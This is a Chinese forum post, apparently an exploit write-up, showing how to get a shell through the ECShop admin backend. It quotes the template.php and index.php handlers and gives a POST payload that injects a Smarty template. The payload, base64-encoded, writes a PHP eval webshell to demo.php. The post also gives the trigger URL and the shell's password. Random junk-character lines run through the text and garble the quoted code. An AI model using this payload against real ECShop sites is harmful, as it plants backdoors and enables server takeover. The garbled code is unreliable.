Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& m/ J9 i/ ?, xadmin/template.php
5 ~- r+ W( s3 m# _1 S
1 if ($_REQUEST['act'] == 'update_library')
# N) z* X, n  ?# L+ J) d7 Y7 a1 |; v
" }% d9 m: D$ J% ~0 H3 E" A2   

3 {
' _" B" w6 m! U# r" r4 z) I; t
4     check_authz_json('library_manage');

: Y% @4 H6 M+ m2 a  v! f5 k/ Q( {5   

5 G0 B& f/ M2 y" g% b+ Y6     $html = stripslashes(json_str_iconv($_POST['html']));
# w# g) [7 D3 S
" ~6 |1 W+ P$ _6 I$ X. e7   
% k0 g2 X  Q5 w5 A3 k" v& \
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
2 q, Y6 A0 z5 K# H
! Y. U1 W, |+ }5 ^11   
2 I0 V! r2 \9 K2 m
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
. g  _+ a5 Z: ^) x9 y
13   
+ v5 Q( M* \0 J! |) b: v& v4 N( m
6 l  ~3 H7 m) J) H$ r; c14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( w- R' D  I9 ?6 A2 u: A0 f
5 F9 E% f) k3 M" M2 _15     {
; O9 g/ `+ k0 Z0 f1 F3 x! J
' R" A- d* z4 q' L16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

. ?$ F8 J3 y* N17         make_json_result('', $_LANG['update_lib_success']);

# W* W8 a9 q! Z+ q$ d" w6 Q, P18     }

/ V# w1 i% c) _' [& A* O19     else
$ r7 B+ H" L8 K( i& y
" K+ G' h4 A+ q20     {

0 c' X1 m0 V& @) C' \! |5 b. z! S21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
# d6 D" @7 ~8 l4 R& f+ y4 N+ O
22     }
$ y% v) X. @  S% ^
+ J8 L: F  X/ P% R7 R' D' ~) m% b23 }

; Z3 g% E2 [, K+ R那么找个比较方便调用了模板的文件
' _5 a' V4 c: L; r8 Hindex.php

1 if ($act == 'cat_rec')
( `! K5 t- f( D6 V, d5 l9 v0 R2 Y
. }6 l: S& g* l% n7 L9 {* k2   

3 {

5 P$ u, B( S: T- j( z6 j3 H4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
& _* v5 W* H" j* R  X# W, e, R
' c: [1 t- v( I' g+ t6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
6 I3 ?. S+ T3 \. O, l
10   

- Z1 g5 U( d- W5 [2 ]7 F: e6 V11     include_once('includes/cls_json.php');
( Q1 w( r( `2 \& f* j8 `- m: ]3 F
/ d" O1 n8 Y8 P6 ?2 U: H0 I: s! ^$ L12   
( T+ h6 m  F1 U6 K
13     $json = new JSON;
. h$ B; G2 y: |* a& I( P1 F
) `- O* C4 {/ u; c3 ^9 W3 V6 v14   
) ]7 ?! A" B) P6 |  U% g* _! X% x
: }& U; |" J/ a( v, l" f15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
% E( ]. C5 V( x
17     $children = get_children($cat_id);

18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
" u$ g& a* {6 p& Z: q' S7 W: n
! H% U) N1 u! s4 ?: [' W20   
! Z  D. L. [* y* o  U; r1 _  y
% A8 F1 z8 p  [, q3 `21     $smarty->assign('cat_rec_sign', 1);

2 u+ M4 A$ Y5 A5 m22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

2 ~7 v$ b: G5 @24   
! }. b6 I* K( v* i& w; Q2 Z
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
# J# G. Q) d. t
6 W  L' n3 [* v6 L2 H26   

27         echo $rec_array[$rec_type];

6 }6 `" v. e6 o) W0 N28   

29     die($json->encode($result));

30   
1 M' o  R: G# G" q; L8 N- p: d9 T! L
' ]2 ~- D7 H& Q7 T. z$ B4 P31 }
; u9 i6 e3 n7 |0 T% m) [) l
" ~* Z& i1 F" x, G* X: _1 A那么就有利用方法了
  A* O  h; p% A8 d0 P4 \post包到http://localhost/ec/admin/template.php?act=update_library
% X: v6 Z$ A/ \! o$ \, A; N8 SPost内容：
2 q4 S: `8 C: {) s5 U1 S/ L
4 b) O& O9 i2 j4 t​
3 }+ X7 u% ]% p+ s9 f1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
+ i* ]- c. S- h6 w# i
然后访问http://localhost/ec/index.php?act=cat_rec
) C8 v! n7 P2 H2 S5 s% B: C: j
& B2 @$ H; @/ E, v3 {5 c  D+ sshel地址：http://localhost/ec/demo.php
密码c

" }. P7 V2 d3 A3 `1 s1 N8 z- a, {1 X